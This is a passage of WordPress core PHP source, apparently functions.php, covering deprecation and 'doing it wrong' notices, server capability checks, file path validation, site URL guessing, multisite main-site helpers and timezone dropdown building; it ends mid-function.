3912 * to get the backtrace up to what file and function called the deprecated
3913 * function.
3914 *
3915 * The current behavior is to trigger a user error if `WP_DEBUG` is true.
3916 *
3917 * This function is to be used in every function that is deprecated.
3918 *
3919 * @since 2.5.0
3920 * @access private
3921 *
3922 * @param string $function The function that was called.
3923 * @param string $version The version of WordPress that deprecated the function.
3924 * @param string $replacement Optional. The function that should have been called. Default null.
3925 */
3926function _deprecated_function( $function, $version, $replacement = null ) {
3927
3928 /**
3929 * Fires when a deprecated function is called.
3930 *
3931 * @since 2.5.0
3932 *
3933 * @param string $function The function that was called.
3934 * @param string $replacement The function that should have been called.
3935 * @param string $version The version of WordPress that deprecated the function.
3936 */
3937 do_action( 'deprecated_function_run', $function, $replacement, $version );
3938
3939 /**
3940 * Filters whether to trigger an error for deprecated functions.
3941 *
3942 * @since 2.5.0
3943 *
3944 * @param bool $trigger Whether to trigger the error for deprecated functions. Default true.
3945 */
3946 if ( WP_DEBUG && apply_filters( 'deprecated_function_trigger_error', true ) ) {
3947 if ( function_exists( '__' ) ) {
3948 if ( ! is_null( $replacement ) ) {
3949 /* translators: 1: PHP function name, 2: version number, 3: alternative function name */
3950 trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.'), $function, $version, $replacement ) );
3951 } else {
3952 /* translators: 1: PHP function name, 2: version number */
3953 trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.'), $function, $version ) );
3954 }
3955 } else {
3956 if ( ! is_null( $replacement ) ) {
3957 trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.', $function, $version, $replacement ) );
3958 } else {
3959 trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.', $function, $version ) );
3960 }
3961 }
3962 }
3963}
3964
3965/**
3966 * Marks a constructor as deprecated and informs when it has been used.
3967 *
3968 * Similar to _deprecated_function(), but with different strings. Used to
3969 * remove PHP4 style constructors.
3970 *
3971 * The current behavior is to trigger a user error if `WP_DEBUG` is true.
3972 *
3973 * This function is to be used in every PHP4 style constructor method that is deprecated.
3974 *
3975 * @since 4.3.0
3976 * @since 4.5.0 Added the `$parent_class` parameter.
3977 *
3978 * @access private
3979 *
3980 * @param string $class The class containing the deprecated constructor.
3981 * @param string $version The version of WordPress that deprecated the function.
3982 * @param string $parent_class Optional. The parent class calling the deprecated constructor.
3983 * Default empty string.
3984 */
3985function _deprecated_constructor( $class, $version, $parent_class = '' ) {
3986
3987 /**
3988 * Fires when a deprecated constructor is called.
3989 *
3990 * @since 4.3.0
3991 * @since 4.5.0 Added the `$parent_class` parameter.
3992 *
3993 * @param string $class The class containing the deprecated constructor.
3994 * @param string $version The version of WordPress that deprecated the function.
3995 * @param string $parent_class The parent class calling the deprecated constructor.
3996 */
3997 do_action( 'deprecated_constructor_run', $class, $version, $parent_class );
3998
3999 /**
4000 * Filters whether to trigger an error for deprecated functions.
4001 *
4002 * `WP_DEBUG` must be true in addition to the filter evaluating to true.
4003 *
4004 * @since 4.3.0
4005 *
4006 * @param bool $trigger Whether to trigger the error for deprecated functions. Default true.
4007 */
4008 if ( WP_DEBUG && apply_filters( 'deprecated_constructor_trigger_error', true ) ) {
4009 if ( function_exists( '__' ) ) {
4010 if ( ! empty( $parent_class ) ) {
4011 /* translators: 1: PHP class name, 2: PHP parent class name, 3: version number, 4: __construct() method */
4012 trigger_error( sprintf( __( 'The called constructor method for %1$s in %2$s is <strong>deprecated</strong> since version %3$s! Use %4$s instead.' ),
4013 $class, $parent_class, $version, '<pre>__construct()</pre>' ) );
4014 } else {
4015 /* translators: 1: PHP class name, 2: version number, 3: __construct() method */
4016 trigger_error( sprintf( __( 'The called constructor method for %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ),
4017 $class, $version, '<pre>__construct()</pre>' ) );
4018 }
4019 } else {
4020 if ( ! empty( $parent_class ) ) {
4021 trigger_error( sprintf( 'The called constructor method for %1$s in %2$s is <strong>deprecated</strong> since version %3$s! Use %4$s instead.',
4022 $class, $parent_class, $version, '<pre>__construct()</pre>' ) );
4023 } else {
4024 trigger_error( sprintf( 'The called constructor method for %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.',
4025 $class, $version, '<pre>__construct()</pre>' ) );
4026 }
4027 }
4028 }
4029
4030}
4031
4032/**
4033 * Mark a file as deprecated and inform when it has been used.
4034 *
4035 * There is a hook {@see 'deprecated_file_included'} that will be called that can be used
4036 * to get the backtrace up to what file and function included the deprecated
4037 * file.
4038 *
4039 * The current behavior is to trigger a user error if `WP_DEBUG` is true.
4040 *
4041 * This function is to be used in every file that is deprecated.
4042 *
4043 * @since 2.5.0
4044 * @access private
4045 *
4046 * @param string $file The file that was included.
4047 * @param string $version The version of WordPress that deprecated the file.
4048 * @param string $replacement Optional. The file that should have been included based on ABSPATH.
4049 * Default null.
4050 * @param string $message Optional. A message regarding the change. Default empty.
4051 */
4052function _deprecated_file( $file, $version, $replacement = null, $message = '' ) {
4053
4054 /**
4055 * Fires when a deprecated file is called.
4056 *
4057 * @since 2.5.0
4058 *
4059 * @param string $file The file that was called.
4060 * @param string $replacement The file that should have been included based on ABSPATH.
4061 * @param string $version The version of WordPress that deprecated the file.
4062 * @param string $message A message regarding the change.
4063 */
4064 do_action( 'deprecated_file_included', $file, $replacement, $version, $message );
4065
4066 /**
4067 * Filters whether to trigger an error for deprecated files.
4068 *
4069 * @since 2.5.0
4070 *
4071 * @param bool $trigger Whether to trigger the error for deprecated files. Default true.
4072 */
4073 if ( WP_DEBUG && apply_filters( 'deprecated_file_trigger_error', true ) ) {
4074 $message = empty( $message ) ? '' : ' ' . $message;
4075 if ( function_exists( '__' ) ) {
4076 if ( ! is_null( $replacement ) ) {
4077 /* translators: 1: PHP file name, 2: version number, 3: alternative file name */
4078 trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.'), $file, $version, $replacement ) . $message );
4079 } else {
4080 /* translators: 1: PHP file name, 2: version number */
4081 trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.'), $file, $version ) . $message );
4082 }
4083 } else {
4084 if ( ! is_null( $replacement ) ) {
4085 trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.', $file, $version, $replacement ) . $message );
4086 } else {
4087 trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.', $file, $version ) . $message );
4088 }
4089 }
4090 }
4091}
4092/**
4093 * Mark a function argument as deprecated and inform when it has been used.
4094 *
4095 * This function is to be used whenever a deprecated function argument is used.
4096 * Before this function is called, the argument must be checked for whether it was
4097 * used by comparing it to its default value or evaluating whether it is empty.
4098 * For example:
4099 *
4100 * if ( ! empty( $deprecated ) ) {
4101 * _deprecated_argument( __FUNCTION__, '3.0.0' );
4102 * }
4103 *
4104 *
4105 * There is a hook deprecated_argument_run that will be called that can be used
4106 * to get the backtrace up to what file and function used the deprecated
4107 * argument.
4108 *
4109 * The current behavior is to trigger a user error if WP_DEBUG is true.
4110 *
4111 * @since 3.0.0
4112 * @access private
4113 *
4114 * @param string $function The function that was called.
4115 * @param string $version The version of WordPress that deprecated the argument used.
4116 * @param string $message Optional. A message regarding the change. Default null.
4117 */
4118function _deprecated_argument( $function, $version, $message = null ) {
4119
4120 /**
4121 * Fires when a deprecated argument is called.
4122 *
4123 * @since 3.0.0
4124 *
4125 * @param string $function The function that was called.
4126 * @param string $message A message regarding the change.
4127 * @param string $version The version of WordPress that deprecated the argument used.
4128 */
4129 do_action( 'deprecated_argument_run', $function, $message, $version );
4130
4131 /**
4132 * Filters whether to trigger an error for deprecated arguments.
4133 *
4134 * @since 3.0.0
4135 *
4136 * @param bool $trigger Whether to trigger the error for deprecated arguments. Default true.
4137 */
4138 if ( WP_DEBUG && apply_filters( 'deprecated_argument_trigger_error', true ) ) {
4139 if ( function_exists( '__' ) ) {
4140 if ( ! is_null( $message ) ) {
4141 /* translators: 1: PHP function name, 2: version number, 3: optional message regarding the change */
4142 trigger_error( sprintf( __('%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s! %3$s'), $function, $version, $message ) );
4143 } else {
4144 /* translators: 1: PHP function name, 2: version number */
4145 trigger_error( sprintf( __('%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s with no alternative available.'), $function, $version ) );
4146 }
4147 } else {
4148 if ( ! is_null( $message ) ) {
4149 trigger_error( sprintf( '%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s! %3$s', $function, $version, $message ) );
4150 } else {
4151 trigger_error( sprintf( '%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s with no alternative available.', $function, $version ) );
4152 }
4153 }
4154 }
4155}
4156
4157/**
4158 * Marks a deprecated action or filter hook as deprecated and throws a notice.
4159 *
4160 * Use the {@see 'deprecated_hook_run'} action to get the backtrace describing where
4161 * the deprecated hook was called.
4162 *
4163 * Default behavior is to trigger a user error if `WP_DEBUG` is true.
4164 *
4165 * This function is called by the do_action_deprecated() and apply_filters_deprecated()
4166 * functions, and so generally does not need to be called directly.
4167 *
4168 * @since 4.6.0
4169 * @access private
4170 *
4171 * @param string $hook The hook that was used.
4172 * @param string $version The version of WordPress that deprecated the hook.
4173 * @param string $replacement Optional. The hook that should have been used.
4174 * @param string $message Optional. A message regarding the change.
4175 */
4176function _deprecated_hook( $hook, $version, $replacement = null, $message = null ) {
4177 /**
4178 * Fires when a deprecated hook is called.
4179 *
4180 * @since 4.6.0
4181 *
4182 * @param string $hook The hook that was called.
4183 * @param string $replacement The hook that should be used as a replacement.
4184 * @param string $version The version of WordPress that deprecated the argument used.
4185 * @param string $message A message regarding the change.
4186 */
4187 do_action( 'deprecated_hook_run', $hook, $replacement, $version, $message );
4188
4189 /**
4190 * Filters whether to trigger deprecated hook errors.
4191 *
4192 * @since 4.6.0
4193 *
4194 * @param bool $trigger Whether to trigger deprecated hook errors. Requires
4195 * `WP_DEBUG` to be defined true.
4196 */
4197 if ( WP_DEBUG && apply_filters( 'deprecated_hook_trigger_error', true ) ) {
4198 $message = empty( $message ) ? '' : ' ' . $message;
4199 if ( ! is_null( $replacement ) ) {
4200 /* translators: 1: WordPress hook name, 2: version number, 3: alternative hook name */
4201 trigger_error( sprintf( __( '%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ), $hook, $version, $replacement ) . $message );
4202 } else {
4203 /* translators: 1: WordPress hook name, 2: version number */
4204 trigger_error( sprintf( __( '%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.' ), $hook, $version ) . $message );
4205 }
4206 }
4207}
4208
4209/**
4210 * Mark something as being incorrectly called.
4211 *
4212 * There is a hook {@see 'doing_it_wrong_run'} that will be called that can be used
4213 * to get the backtrace up to what file and function called the deprecated
4214 * function.
4215 *
4216 * The current behavior is to trigger a user error if `WP_DEBUG` is true.
4217 *
4218 * @since 3.1.0
4219 * @access private
4220 *
4221 * @param string $function The function that was called.
4222 * @param string $message A message explaining what has been done incorrectly.
4223 * @param string $version The version of WordPress where the message was added.
4224 */
4225function _doing_it_wrong( $function, $message, $version ) {
4226
4227 /**
4228 * Fires when the given function is being used incorrectly.
4229 *
4230 * @since 3.1.0
4231 *
4232 * @param string $function The function that was called.
4233 * @param string $message A message explaining what has been done incorrectly.
4234 * @param string $version The version of WordPress where the message was added.
4235 */
4236 do_action( 'doing_it_wrong_run', $function, $message, $version );
4237
4238 /**
4239 * Filters whether to trigger an error for _doing_it_wrong() calls.
4240 *
4241 * @since 3.1.0
4242 *
4243 * @param bool $trigger Whether to trigger the error for _doing_it_wrong() calls. Default true.
4244 */
4245 if ( WP_DEBUG && apply_filters( 'doing_it_wrong_trigger_error', true ) ) {
4246 if ( function_exists( '__' ) ) {
4247 if ( is_null( $version ) ) {
4248 $version = '';
4249 } else {
4250 /* translators: %s: version number */
4251 $version = sprintf( __( '(This message was added in version %s.)' ), $version );
4252 }
4253 /* translators: %s: Codex URL */
4254 $message .= ' ' . sprintf( __( 'Please see <a href="%s">Debugging in WordPress</a> for more information.' ),
4255 __( 'https://codex.wordpress.org/Debugging_in_WordPress' )
4256 );
4257 /* translators: Developer debugging message. 1: PHP function name, 2: Explanatory message, 3: Version information message */
4258 trigger_error( sprintf( __( '%1$s was called <strong>incorrectly</strong>. %2$s %3$s' ), $function, $message, $version ) );
4259 } else {
4260 if ( is_null( $version ) ) {
4261 $version = '';
4262 } else {
4263 $version = sprintf( '(This message was added in version %s.)', $version );
4264 }
4265 $message .= sprintf( ' Please see <a href="%s">Debugging in WordPress</a> for more information.',
4266 'https://codex.wordpress.org/Debugging_in_WordPress'
4267 );
4268 trigger_error( sprintf( '%1$s was called <strong>incorrectly</strong>. %2$s %3$s', $function, $message, $version ) );
4269 }
4270 }
4271}
4272
4273/**
4274 * Is the server running earlier than 1.5.0 version of lighttpd?
4275 *
4276 * @since 2.5.0
4277 *
4278 * @return bool Whether the server is running lighttpd < 1.5.0.
4279 */
4280function is_lighttpd_before_150() {
4281 $server_parts = explode( '/', isset( $_SERVER['SERVER_SOFTWARE'] )? $_SERVER['SERVER_SOFTWARE'] : '' );
4282 $server_parts[1] = isset( $server_parts[1] )? $server_parts[1] : '';
4283 return 'lighttpd' == $server_parts[0] && -1 == version_compare( $server_parts[1], '1.5.0' );
4284}
4285
4286/**
4287 * Does the specified module exist in the Apache config?
4288 *
4289 * @since 2.5.0
4290 *
4291 * @global bool $is_apache
4292 *
4293 * @param string $mod The module, e.g. mod_rewrite.
4294 * @param bool $default Optional. The default return value if the module is not found. Default false.
4295 * @return bool Whether the specified module is loaded.
4296 */
4297function apache_mod_loaded($mod, $default = false) {
4298 global $is_apache;
4299
4300 if ( !$is_apache )
4301 return false;
4302
4303 if ( function_exists( 'apache_get_modules' ) ) {
4304 $mods = apache_get_modules();
4305 if ( in_array($mod, $mods) )
4306 return true;
4307 } elseif ( function_exists( 'phpinfo' ) && false === strpos( ini_get( 'disable_functions' ), 'phpinfo' ) ) {
4308 ob_start();
4309 phpinfo(8);
4310 $phpinfo = ob_get_clean();
4311 if ( false !== strpos($phpinfo, $mod) )
4312 return true;
4313 }
4314 return $default;
4315}
4316
4317/**
4318 * Check if IIS 7+ supports pretty permalinks.
4319 *
4320 * @since 2.8.0
4321 *
4322 * @global bool $is_iis7
4323 *
4324 * @return bool Whether IIS7 supports permalinks.
4325 */
4326function iis7_supports_permalinks() {
4327 global $is_iis7;
4328
4329 $supports_permalinks = false;
4330 if ( $is_iis7 ) {
4331 /* First we check if the DOMDocument class exists. If it does not exist, then we cannot
4332 * easily update the xml configuration file, hence we just bail out and tell user that
4333 * pretty permalinks cannot be used.
4334 *
4335 * Next we check if the URL Rewrite Module 1.1 is loaded and enabled for the web site. When
4336 * URL Rewrite 1.1 is loaded it always sets a server variable called 'IIS_UrlRewriteModule'.
4337 * Lastly we make sure that PHP is running via FastCGI. This is important because if it runs
4338 * via ISAPI then pretty permalinks will not work.
4339 */
4340 $supports_permalinks = class_exists( 'DOMDocument', false ) && isset($_SERVER['IIS_UrlRewriteModule']) && ( PHP_SAPI == 'cgi-fcgi' );
4341 }
4342
4343 /**
4344 * Filters whether IIS 7+ supports pretty permalinks.
4345 *
4346 * @since 2.8.0
4347 *
4348 * @param bool $supports_permalinks Whether IIS7 supports permalinks. Default false.
4349 */
4350 return apply_filters( 'iis7_supports_permalinks', $supports_permalinks );
4351}
4352
4353/**
4354 * Validates a file name and path against an allowed set of rules.
4355 *
4356 * A return value of `1` means the file path contains directory traversal.
4357 *
4358 * A return value of `2` means the file path contains a Windows drive path.
4359 *
4360 * A return value of `3` means the file is not in the allowed files list.
4361 *
4362 * @since 1.2.0
4363 *
4364 * @param string $file File path.
4365 * @param array $allowed_files Optional. List of allowed files.
4366 * @return int 0 means nothing is wrong, greater than 0 means something was wrong.
4367 */
4368function validate_file( $file, $allowed_files = array() ) {
4369 // `../` on its own is not allowed:
4370 if ( '../' === $file ) {
4371 return 1;
4372 }
4373
4374 // More than one occurence of `../` is not allowed:
4375 if ( preg_match_all( '#\.\./#', $file, $matches, PREG_SET_ORDER ) && ( count( $matches ) > 1 ) ) {
4376 return 1;
4377 }
4378
4379 // `../` which does not occur at the end of the path is not allowed:
4380 if ( false !== strpos( $file, '../' ) && '../' !== mb_substr( $file, -3, 3 ) ) {
4381 return 1;
4382 }
4383
4384 // Files not in the allowed file list are not allowed:
4385 if ( ! empty( $allowed_files ) && ! in_array( $file, $allowed_files ) )
4386 return 3;
4387
4388 // Absolute Windows drive paths are not allowed:
4389 if (':' == substr( $file, 1, 1 ) )
4390 return 2;
4391
4392 return 0;
4393}
4394
4395/**
4396 * Whether to force SSL used for the Administration Screens.
4397 *
4398 * @since 2.6.0
4399 *
4400 * @staticvar bool $forced
4401 *
4402 * @param string|bool $force Optional. Whether to force SSL in admin screens. Default null.
4403 * @return bool True if forced, false if not forced.
4404 */
4405function force_ssl_admin( $force = null ) {
4406 static $forced = false;
4407
4408 if ( !is_null( $force ) ) {
4409 $old_forced = $forced;
4410 $forced = $force;
4411 return $old_forced;
4412 }
4413
4414 return $forced;
4415}
4416
4417/**
4418 * Guess the URL for the site.
4419 *
4420 * Will remove wp-admin links to retrieve only return URLs not in the wp-admin
4421 * directory.
4422 *
4423 * @since 2.6.0
4424 *
4425 * @return string The guessed URL.
4426 */
4427function wp_guess_url() {
4428 if ( defined('WP_SITEURL') && '' != WP_SITEURL ) {
4429 $url = WP_SITEURL;
4430 } else {
4431 $abspath_fix = str_replace( '\\', '/', ABSPATH );
4432 $script_filename_dir = dirname( $_SERVER['SCRIPT_FILENAME'] );
4433
4434 // The request is for the admin
4435 if ( strpos( $_SERVER['REQUEST_URI'], 'wp-admin' ) !== false || strpos( $_SERVER['REQUEST_URI'], 'wp-login.php' ) !== false ) {
4436 $path = preg_replace( '#/(wp-admin/.*|wp-login.php)#i', '', $_SERVER['REQUEST_URI'] );
4437
4438 // The request is for a file in ABSPATH
4439 } elseif ( $script_filename_dir . '/' == $abspath_fix ) {
4440 // Strip off any file/query params in the path
4441 $path = preg_replace( '#/[^/]*$#i', '', $_SERVER['PHP_SELF'] );
4442
4443 } else {
4444 if ( false !== strpos( $_SERVER['SCRIPT_FILENAME'], $abspath_fix ) ) {
4445 // Request is hitting a file inside ABSPATH
4446 $directory = str_replace( ABSPATH, '', $script_filename_dir );
4447 // Strip off the sub directory, and any file/query params
4448 $path = preg_replace( '#/' . preg_quote( $directory, '#' ) . '/[^/]*$#i', '' , $_SERVER['REQUEST_URI'] );
4449 } elseif ( false !== strpos( $abspath_fix, $script_filename_dir ) ) {
4450 // Request is hitting a file above ABSPATH
4451 $subdirectory = substr( $abspath_fix, strpos( $abspath_fix, $script_filename_dir ) + strlen( $script_filename_dir ) );
4452 // Strip off any file/query params from the path, appending the sub directory to the installation
4453 $path = preg_replace( '#/[^/]*$#i', '' , $_SERVER['REQUEST_URI'] ) . $subdirectory;
4454 } else {
4455 $path = $_SERVER['REQUEST_URI'];
4456 }
4457 }
4458
4459 $schema = is_ssl() ? 'https://' : 'http://'; // set_url_scheme() is not defined yet
4460 $url = $schema . $_SERVER['HTTP_HOST'] . $path;
4461 }
4462
4463 return rtrim($url, '/');
4464}
4465
4466/**
4467 * Temporarily suspend cache additions.
4468 *
4469 * Stops more data being added to the cache, but still allows cache retrieval.
4470 * This is useful for actions, such as imports, when a lot of data would otherwise
4471 * be almost uselessly added to the cache.
4472 *
4473 * Suspension lasts for a single page load at most. Remember to call this
4474 * function again if you wish to re-enable cache adds earlier.
4475 *
4476 * @since 3.3.0
4477 *
4478 * @staticvar bool $_suspend
4479 *
4480 * @param bool $suspend Optional. Suspends additions if true, re-enables them if false.
4481 * @return bool The current suspend setting
4482 */
4483function wp_suspend_cache_addition( $suspend = null ) {
4484 static $_suspend = false;
4485
4486 if ( is_bool( $suspend ) )
4487 $_suspend = $suspend;
4488
4489 return $_suspend;
4490}
4491
4492/**
4493 * Suspend cache invalidation.
4494 *
4495 * Turns cache invalidation on and off. Useful during imports where you don't want to do
4496 * invalidations every time a post is inserted. Callers must be sure that what they are
4497 * doing won't lead to an inconsistent cache when invalidation is suspended.
4498 *
4499 * @since 2.7.0
4500 *
4501 * @global bool $_wp_suspend_cache_invalidation
4502 *
4503 * @param bool $suspend Optional. Whether to suspend or enable cache invalidation. Default true.
4504 * @return bool The current suspend setting.
4505 */
4506function wp_suspend_cache_invalidation( $suspend = true ) {
4507 global $_wp_suspend_cache_invalidation;
4508
4509 $current_suspend = $_wp_suspend_cache_invalidation;
4510 $_wp_suspend_cache_invalidation = $suspend;
4511 return $current_suspend;
4512}
4513
4514/**
4515 * Determine whether a site is the main site of the current network.
4516 *
4517 * @since 3.0.0
4518 * @since 4.9.0 The $network_id parameter has been added.
4519 *
4520 * @param int $site_id Optional. Site ID to test. Defaults to current site.
4521 * @param int $network_id Optional. Network ID of the network to check for.
4522 * Defaults to current network.
4523 * @return bool True if $site_id is the main site of the network, or if not
4524 * running Multisite.
4525 */
4526function is_main_site( $site_id = null, $network_id = null ) {
4527 if ( ! is_multisite() ) {
4528 return true;
4529 }
4530
4531 if ( ! $site_id ) {
4532 $site_id = get_current_blog_id();
4533 }
4534
4535 $site_id = (int) $site_id;
4536
4537 return $site_id === get_main_site_id( $network_id );
4538}
4539
4540/**
4541 * Gets the main site ID.
4542 *
4543 * @since 4.9.0
4544 *
4545 * @param int $network_id Optional. The ID of the network for which to get the main site.
4546 * Defaults to the current network.
4547 * @return int The ID of the main site.
4548 */
4549function get_main_site_id( $network_id = null ) {
4550 if ( ! is_multisite() ) {
4551 return get_current_blog_id();
4552 }
4553
4554 $network = get_network( $network_id );
4555 if ( ! $network ) {
4556 return 0;
4557 }
4558
4559 return $network->site_id;
4560}
4561
4562/**
4563 * Determine whether a network is the main network of the Multisite installation.
4564 *
4565 * @since 3.7.0
4566 *
4567 * @param int $network_id Optional. Network ID to test. Defaults to current network.
4568 * @return bool True if $network_id is the main network, or if not running Multisite.
4569 */
4570function is_main_network( $network_id = null ) {
4571 if ( ! is_multisite() ) {
4572 return true;
4573 }
4574
4575 if ( null === $network_id ) {
4576 $network_id = get_current_network_id();
4577 }
4578
4579 $network_id = (int) $network_id;
4580
4581 return ( $network_id === get_main_network_id() );
4582}
4583
4584/**
4585 * Get the main network ID.
4586 *
4587 * @since 4.3.0
4588 *
4589 * @return int The ID of the main network.
4590 */
4591function get_main_network_id() {
4592 if ( ! is_multisite() ) {
4593 return 1;
4594 }
4595
4596 $current_network = get_network();
4597
4598 if ( defined( 'PRIMARY_NETWORK_ID' ) ) {
4599 $main_network_id = PRIMARY_NETWORK_ID;
4600 } elseif ( isset( $current_network->id ) && 1 === (int) $current_network->id ) {
4601 // If the current network has an ID of 1, assume it is the main network.
4602 $main_network_id = 1;
4603 } else {
4604 $_networks = get_networks( array( 'fields' => 'ids', 'number' => 1 ) );
4605 $main_network_id = array_shift( $_networks );
4606 }
4607
4608 /**
4609 * Filters the main network ID.
4610 *
4611 * @since 4.3.0
4612 *
4613 * @param int $main_network_id The ID of the main network.
4614 */
4615 return (int) apply_filters( 'get_main_network_id', $main_network_id );
4616}
4617
4618/**
4619 * Determine whether global terms are enabled.
4620 *
4621 * @since 3.0.0
4622 *
4623 * @staticvar bool $global_terms
4624 *
4625 * @return bool True if multisite and global terms enabled.
4626 */
4627function global_terms_enabled() {
4628 if ( ! is_multisite() )
4629 return false;
4630
4631 static $global_terms = null;
4632 if ( is_null( $global_terms ) ) {
4633
4634 /**
4635 * Filters whether global terms are enabled.
4636 *
4637 * Passing a non-null value to the filter will effectively short-circuit the function,
4638 * returning the value of the 'global_terms_enabled' site option instead.
4639 *
4640 * @since 3.0.0
4641 *
4642 * @param null $enabled Whether global terms are enabled.
4643 */
4644 $filter = apply_filters( 'global_terms_enabled', null );
4645 if ( ! is_null( $filter ) )
4646 $global_terms = (bool) $filter;
4647 else
4648 $global_terms = (bool) get_site_option( 'global_terms_enabled', false );
4649 }
4650 return $global_terms;
4651}
4652
4653/**
4654 * gmt_offset modification for smart timezone handling.
4655 *
4656 * Overrides the gmt_offset option if we have a timezone_string available.
4657 *
4658 * @since 2.8.0
4659 *
4660 * @return float|false Timezone GMT offset, false otherwise.
4661 */
4662function wp_timezone_override_offset() {
4663 if ( !$timezone_string = get_option( 'timezone_string' ) ) {
4664 return false;
4665 }
4666
4667 $timezone_object = timezone_open( $timezone_string );
4668 $datetime_object = date_create();
4669 if ( false === $timezone_object || false === $datetime_object ) {
4670 return false;
4671 }
4672 return round( timezone_offset_get( $timezone_object, $datetime_object ) / HOUR_IN_SECONDS, 2 );
4673}
4674
4675/**
4676 * Sort-helper for timezones.
4677 *
4678 * @since 2.9.0
4679 * @access private
4680 *
4681 * @param array $a
4682 * @param array $b
4683 * @return int
4684 */
4685function _wp_timezone_choice_usort_callback( $a, $b ) {
4686 // Don't use translated versions of Etc
4687 if ( 'Etc' === $a['continent'] && 'Etc' === $b['continent'] ) {
4688 // Make the order of these more like the old dropdown
4689 if ( 'GMT+' === substr( $a['city'], 0, 4 ) && 'GMT+' === substr( $b['city'], 0, 4 ) ) {
4690 return -1 * ( strnatcasecmp( $a['city'], $b['city'] ) );
4691 }
4692 if ( 'UTC' === $a['city'] ) {
4693 if ( 'GMT+' === substr( $b['city'], 0, 4 ) ) {
4694 return 1;
4695 }
4696 return -1;
4697 }
4698 if ( 'UTC' === $b['city'] ) {
4699 if ( 'GMT+' === substr( $a['city'], 0, 4 ) ) {
4700 return -1;
4701 }
4702 return 1;
4703 }
4704 return strnatcasecmp( $a['city'], $b['city'] );
4705 }
4706 if ( $a['t_continent'] == $b['t_continent'] ) {
4707 if ( $a['t_city'] == $b['t_city'] ) {
4708 return strnatcasecmp( $a['t_subcity'], $b['t_subcity'] );
4709 }
4710 return strnatcasecmp( $a['t_city'], $b['t_city'] );
4711 } else {
4712 // Force Etc to the bottom of the list
4713 if ( 'Etc' === $a['continent'] ) {
4714 return 1;
4715 }
4716 if ( 'Etc' === $b['continent'] ) {
4717 return -1;
4718 }
4719 return strnatcasecmp( $a['t_continent'], $b['t_continent'] );
4720 }
4721}
4722
4723/**
4724 * Gives a nicely-formatted list of timezone strings.
4725 *
4726 * @since 2.9.0
4727 * @since 4.7.0 Added the `$locale` parameter.
4728 *
4729 * @staticvar bool $mo_loaded
4730 * @staticvar string $locale_loaded
4731 *
4732 * @param string $selected_zone Selected timezone.
4733 * @param string $locale Optional. Locale to load the timezones in. Default current site locale.
4734 * @return string
4735 */
4736function wp_timezone_choice( $selected_zone, $locale = null ) {
4737 static $mo_loaded = false, $locale_loaded = null;
4738
4739 $continents = array( 'Africa', 'America', 'Antarctica', 'Arctic', 'Asia', 'Atlantic', 'Australia', 'Europe', 'Indian', 'Pacific');
4740
4741 // Load translations for continents and cities.
4742 if ( ! $mo_loaded || $locale !== $locale_loaded ) {
4743 $locale_loaded = $locale ? $locale : get_locale();
4744 $mofile = WP_LANG_DIR . '/continents-cities-' . $locale_loaded . '.mo';
4745 unload_textdomain( 'continents-cities' );
4746 load_textdomain( 'continents-cities', $mofile );
4747 $mo_loaded = true;
4748 }
4749
4750 $zonen = array();
4751 foreach ( timezone_identifiers_list() as $zone ) {
4752 $zone = explode( '/', $zone );
4753 if ( !in_array( $zone[0], $continents ) ) {
4754 continue;
4755 }
4756
4757 // This determines what gets set and translated - we don't translate Etc/* strings here, they are done later
4758 $exists = array(
4759 0 => ( isset( $zone[0] ) && $zone[0] ),
4760 1 => ( isset( $zone[1] ) && $zone[1] ),
4761 2 => ( isset( $zone[2] ) && $zone[2] ),
4762 );
4763 $exists[3] = ( $exists[0] && 'Etc' !== $zone[0] );
4764 $exists[4] = ( $exists[1] && $exists[3] );
4765 $exists[5] = ( $exists[2] && $exists[3] );
4766
4767 $zonen[] = array(
4768 'continent' => ( $exists[0] ? $zone[0] : '' ),
4769 'city' => ( $exists[1] ? $zone[1] : '' ),
4770 'subcity' => ( $exists[2] ? $zone[2] : '' ),
4771 't_continent' => ( $exists[3] ? translate( str_replace( '_', ' ', $zone[0] ), 'continents-cities' ) : '' ),
4772 't_city' => ( $exists[4] ? translate( str_replace( '_', ' ', $zone[1] ), 'continents-cities' ) : '' ),
4773 't_subcity' => ( $exists[5] ? translate( str_replace( '_', ' ', $zone[2] ), 'continents-cities' ) : '' )
4774 );
4775 }
4776 usort( $zonen, '_wp_timezone_choice_usort_callback' );
4777
4778 $structure = array();
4779
4780 if ( empty( $selected_zone ) ) {
4781 $structure[] = '<option selected="selected" value="">' . __( 'Select a city' ) . '</option>';
4782 }
4783
4784 foreach ( $zonen as $key => $zone ) {
4785 // Build value in an array to join later
4786 $value = array( $zone['continent'] );
4787
4788 if ( empty( $zone['city'] ) ) {
4789 // It's at the continent level (generally won't happen)
4790 $display = $zone['t_continent'];
4791 } else {
4792 // It's inside a continent group
4793
4794 // Continent optgroup
4795 if ( !isset( $zonen[$key - 1] ) || $zonen[$key - 1]['continent'] !== $zone['continent'] ) {
4796 $label = $zone['t_continent'];
4797 $structure[] = '<optgroup label="'. esc_attr( $label ) .'">';
4798 }
4799
4800 // Add the city to the value
4801 $value[] = $zone['city'];
4802
4803 $display = $zone['t_city'];
4804 if ( !empty( $zone['subcity'] ) ) {
4805 // Add the subcity to the value
4806 $value[] = $zone['subcity'];
4807 $display .= ' - ' . $zone['t_subcity'];
4808 }
4809 }
4810
4811 // Build the value
4812 $value = join( '/', $value );
4813 $selected = '';
4814 if ( $value === $selected_zone ) {
4815 $selected = 'selected="selected" ';
4816 }
4817 $structure[] = '<option ' . $selected . 'value="' . esc_attr( $value ) . '">' . esc_html( $display ) . "</option>";
4818
4819 // Close continent optgroup
